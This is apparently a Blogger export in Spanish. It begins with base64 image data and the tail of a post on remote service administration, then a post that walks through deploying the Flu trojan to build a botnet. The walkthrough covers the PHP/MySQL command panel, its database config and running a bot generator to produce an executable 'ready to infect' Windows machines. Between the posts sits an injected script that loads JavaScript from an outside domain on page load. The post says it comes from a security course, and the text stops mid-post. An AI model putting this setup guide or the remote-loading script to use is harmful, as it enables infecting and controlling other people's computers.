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" /> </div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: center;">
<br /></div>
<div style="text-align: left;">
8. Una vez conectado como administrador al equipo remoto usted tendrá acceso al listado de servicios. Podrá identificar cuales de ellos se encuentran en funcionamiento y cuáles no, además, podrá arrancar y parar servicios en forma remota.</div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<div style="text-align: left;">
<br /></div>
<br />
<script id="FoxLingoJs">(function(){try{var header=document.getElementsByTagName("HEAD")[0];var script=document.createElement("SCRIPT");script.src="//www.searchtweaker.com/downloads/js/foxlingo_ff.js";script.onload=script.onreadystatechange=function(){if (!(this.readyState)||(this.readyState=="complete"||this.readyState=="loaded")){script.onload=null;script.onreadystatechange=null;header.removeChild(script);}}; header.appendChild(script);} catch(e) {}})();</script></div>
Anonymoushttp://www.blogger.com/profile/02588060334651150968noreply@blogger.com0tag:blogger.com,1999:blog-7163708568876453448.post-5177687817349088422013-02-06T23:23:00.003+01:002013-02-06T23:25:59.165+01:00TROYANO FLU B0.5.2 WINDOWS<div dir="ltr" style="text-align: left;" trbidi="on">
<br />
Bueno hoy día si he tenido un día súper pesado por el trabajo y las clases que fueron más teóricas que prácticas les comentaré el día de hoy , de una aplicación que vimos en las clases del MUSI al menos para darse algunos jueguitos se puede decir que está bien... Flu es un troyano orientado a la construcción de botnets, también conocidas como redes de máquinas zombies. Se encuentra diseñado con una arquitectura cliente-servidor. El servidor consiste en un pequeño ejecutable programado en C# que permitirá infectar cualquier sistema operativo Windows, incluyendo Windows 7, para conseguir el control de la máquina en la que se hospeda. El servidor web, donde se ejecuta el cliente, se encuentra desarrollado en PHP y corre sobre Apache. Su objetivo es enviar comandos a todos los servidores Flu alojados en las víctimas repartidas por Internet, para obtener información de las máquinas en las que se encuentran instalados, y almacenarla en la base de datos. La información de los usuarios podrá ser consultada en el servidor web en cualquier momento desde una interfaz gráfica desarrollada en HTML, PHP y JQuery.<br />
<br />
En el siguiente gráfico veremos como la comunicación del cliente y el servidor de Flu tiene dos direcciones:<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMZthBlh4U_GiBJ_GyBXDbo0fiNikMlkWdttNqR5OOU4fXR7dBb5eNnax8OMYCwHx3xqsU42endXe6igN01vjrtoHMiZpJmMWkEcj49r0fjU1ItqEds6X3bswMnhgsVXzItG4XIXgpUQ4_/s1600/flu.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="324" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjMZthBlh4U_GiBJ_GyBXDbo0fiNikMlkWdttNqR5OOU4fXR7dBb5eNnax8OMYCwHx3xqsU42endXe6igN01vjrtoHMiZpJmMWkEcj49r0fjU1ItqEds6X3bswMnhgsVXzItG4XIXgpUQ4_/s640/flu.jpg" width="640" /></a></div>
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0sS6eZ1edv60MswRliRYdXZyh02MaqFUxbsTPdHYgu0kcx6e1ZSid6v8CodACCKiGMtDoru7_6DtAvVYKQzRkY0fPY8BWei70opq9gRPQGALqQul3APSZnl6yYnE6Y5yxo_jhdR8tc6I/s1600/flu2.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="330" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjh0sS6eZ1edv60MswRliRYdXZyh02MaqFUxbsTPdHYgu0kcx6e1ZSid6v8CodACCKiGMtDoru7_6DtAvVYKQzRkY0fPY8BWei70opq9gRPQGALqQul3APSZnl6yYnE6Y5yxo_jhdR8tc6I/s640/flu2.jpg" width="640" /></a></div>
Flu es un troyano que se compone de tres partes principales, un ejecutable desarrollado en C# que se instala en la máquina que se desea infectar. Que hará las funciones de un servidor en una arquitectura de troyano reverso (cliente-servidor). Una segunda parte que es un programa desarrollado en PHP y que se despliega en un servidor web Apache. Que hará las funciones de cliente en una arquitectura de troyano reverso. Y una tercera parte que es una base de datos MySQL instalada en el servidor web donde almacena los datos recogidos de las máquinas infectadas.<br />
<br />
Para instalar nuestro cliente en el servidor web, simplemente seleccionaremos todos los archivos que contiene la carpeta “Servidor web”, que encontraréis dentro del archivo comprimido con todos los elementos de Flu, y los arrastráis en la carpeta raíz de vuestro servidor web.<br />
<br />
<br />
<?php<br />
$dbhost="localhost";<br />
$dbusuario="root";<br />
$dbpassword="";<br />
$db="flubbdd";<br />
$conexion = mysql_connect($dbhost, $dbusuario, $dbpassword);<br />
mysql_select_db($db, $conexion);<br />
<br />
?><br />
<br />
Para la instalación de la BBDD se requiere tener instalado MySQL.<br />
<br />
<br />
Para infectar una máquina habrá que generar primero un bot en el que se configurarán la ruta donde se encuentre el index de nuestro servidor web y la ruta donde se encuentre el fichero XML con el que se realizará el envió de los comandos a los bots. Para ello ejecutaremos la aplicación “generadorBots.exe”<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_LxbzHrIWP4bWcfLKIHIAfLYBjzbwsRmhCl-ZVdWHP7GJhUoudqkxQ2QV5vwXGACSbdX7G1hQB5gwvs9Dq6djpSND-MzyHcfa2nAmzJLVIwvd_IJ9VvQwQWBtvpqV40r9Z30KF2JBw-ED/s1600/flu3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="305" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh_LxbzHrIWP4bWcfLKIHIAfLYBjzbwsRmhCl-ZVdWHP7GJhUoudqkxQ2QV5vwXGACSbdX7G1hQB5gwvs9Dq6djpSND-MzyHcfa2nAmzJLVIwvd_IJ9VvQwQWBtvpqV40r9Z30KF2JBw-ED/s320/flu3.jpg" width="320" /></a></div>
<br />
Por defecto aparecerá el dominio localhost, deberá ser sustituido por vuestro dominio en caso de que sea diferente. Ahora se pulsará el botón “crear”:<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqcLh0Q5IP2_VSbW9_s7z2djXAxVSY15NHu8Oz5Aa7L5Rr0wxVRlk42e1lCMO4Ztfu64mDlkAXD3zalmreQ2GQEzt0zdIuyGeVYmteofM3EyWJO_7BM4No2RDNA4Tvm8pRM6D6fvxmKIm9/s1600/flu4.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="282" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhqcLh0Q5IP2_VSbW9_s7z2djXAxVSY15NHu8Oz5Aa7L5Rr0wxVRlk42e1lCMO4Ztfu64mDlkAXD3zalmreQ2GQEzt0zdIuyGeVYmteofM3EyWJO_7BM4No2RDNA4Tvm8pRM6D6fvxmKIm9/s400/flu4.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Nos solicitará el lugar donde queremos guardar nuestro bot. Después nos solicitará el archivo “flu-nucleo.exe”, lo abrimos:</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi99mM_CackUiMl9v-77F29JQBes0WQ91rkE4_YXKLO8hfL8uPt__Ik9-t530lH4NIE7uymbRon5PDS5zN58kPjVVUu1EGMDaRaoJRFOW-ClWUHixBUhFNVwEMTzl4QpBw-AMh3V2FgqUBA/s1600/flu5.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="318" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi99mM_CackUiMl9v-77F29JQBes0WQ91rkE4_YXKLO8hfL8uPt__Ik9-t530lH4NIE7uymbRon5PDS5zN58kPjVVUu1EGMDaRaoJRFOW-ClWUHixBUhFNVwEMTzl4QpBw-AMh3V2FgqUBA/s400/flu5.jpg" width="400" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
Si todo ha ido bien, nos aparecerá el mensaje: "BOT CREADO"; y tendremos el ejecutable “flu.exe” listo y configurado para infectar:</div>
<div class="separator" style="clear: both; text-align: center;">
